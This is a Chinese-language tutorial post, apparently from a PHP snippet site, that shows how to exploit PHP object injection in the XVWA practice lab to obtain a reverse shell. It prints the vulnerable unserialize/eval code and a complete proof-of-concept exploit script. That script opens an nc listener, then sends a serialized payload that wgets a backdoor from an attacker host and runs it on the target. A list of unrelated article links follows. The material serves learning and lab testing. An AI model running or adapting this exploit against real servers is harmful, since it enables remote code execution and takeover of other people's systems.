PHP序列化/对象注入漏洞分析


Posted in PHP onApril 18, 2016

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

PHP 相关文章推荐
使用PHP的日期与时间函数技巧
Apr 24 PHP
PHP使用ffmpeg给视频增加字幕显示的方法
Mar 12 PHP
php正则表达式验证(邮件地址、Url地址、电话号码、邮政编码)
Mar 14 PHP
全面解析PHP验证码的实现原理 附php验证码小案例
Aug 17 PHP
php实现博客,论坛图片防盗链的方法
Oct 15 PHP
Zend Framework入门教程之Zend_Config组件用法详解
Dec 09 PHP
php获取字符串前几位的实例(substr返回字符串的子串用法)
Mar 08 PHP
ThinkPHP框架表单验证操作方法
Jul 19 PHP
PHP实现从上往下打印二叉树的方法
Jan 18 PHP
PHP strripos函数用法总结
Feb 11 PHP
PHP使用JpGraph绘制折线图操作示例【附源码下载】
Oct 18 PHP
laravel 错误处理,接口错误返回json代码
Oct 25 PHP
php实现三级级联下拉框
Apr 17 #PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
Apr 17 #PHP
orm获取关联表里的属性值
Apr 17 #PHP
ThinkPHP框架搭建及常见问题(XAMPP安装失败、Apache/MySQL启动失败)
Apr 15 #PHP
php基于jquery的ajax技术传递json数据简单实例
Apr 15 #PHP
PHP6连接SQLServer2005的三部曲
Apr 15 #PHP
php使用pear_smtp发送邮件
Apr 15 #PHP
You might like
将RTF格式的文件转成HTML并在网页中显示的代码
2006/10/09 PHP
ExtJS与PHP、MySQL实现存储的方法
2010/04/02 PHP
php 判断数组是几维数组
2013/03/20 PHP
ThinkPHP权限认证Auth实例详解
2014/07/22 PHP
php防止用户重复提交表单
2015/11/02 PHP
PHP实现权限管理功能示例
2017/09/22 PHP
用Div仿showModalDialog模式菜单的效果的代码
2007/03/05 Javascript
js计算页面刷新的次数
2009/07/20 Javascript
jquery的ajaxSubmit()异步上传图片并保存表单数据演示代码
2013/06/04 Javascript
Node.js实现的简易网页抓取功能示例
2014/12/05 Javascript
JS解析XML实例分析
2015/01/30 Javascript
javascript Array 数组常用方法
2015/04/05 Javascript
JS操作COOKIE实现备忘记录的方法
2016/04/01 Javascript
JS鼠标滚动分页效果示例
2017/07/05 Javascript
详解基于Vue+Koa的pm2配置
2017/10/24 Javascript
使用Vuex实现一个笔记应用的方法
2018/03/13 Javascript
js实现消灭星星(web简易版)
2020/03/24 Javascript
Node Express用法详解【安装、使用、路由、中间件、模板引擎等】
2020/05/13 Javascript
[00:32]2018DOTA2亚洲邀请赛出场——VP
2018/04/04 DOTA
python高并发异步服务器核心库forkcore使用方法
2013/11/26 Python
用Python操作字符串之rindex()方法的使用
2015/05/19 Python
Python中的自省(反射)详解
2015/06/02 Python
Python进度条实时显示处理进度的示例代码
2018/01/30 Python
使用apidocJs快速生成在线文档的实例讲解
2018/02/07 Python
Python基于辗转相除法求解最大公约数的方法示例
2018/04/04 Python
将python代码和注释分离的方法
2018/04/21 Python
通过Python模块filecmp 对文件比较的实现方法
2018/06/29 Python
pygame游戏之旅 按钮上添加文字的方法
2018/11/21 Python
matlab中imadjust函数的作用及应用举例
2020/02/27 Python
英国家居用品和家居装饰品购物网站:Cox & Cox
2019/08/25 全球购物
巴西24小时在线药房:Drogasil
2020/06/20 全球购物
大学三年计划书范文
2014/04/30 职场文书
继承公证书格式
2015/01/26 职场文书
技术员岗位职责
2015/02/04 职场文书
父母教会我观后感
2015/06/17 职场文书
Spring Bean是如何初始化的详解
2022/03/22 Java/Android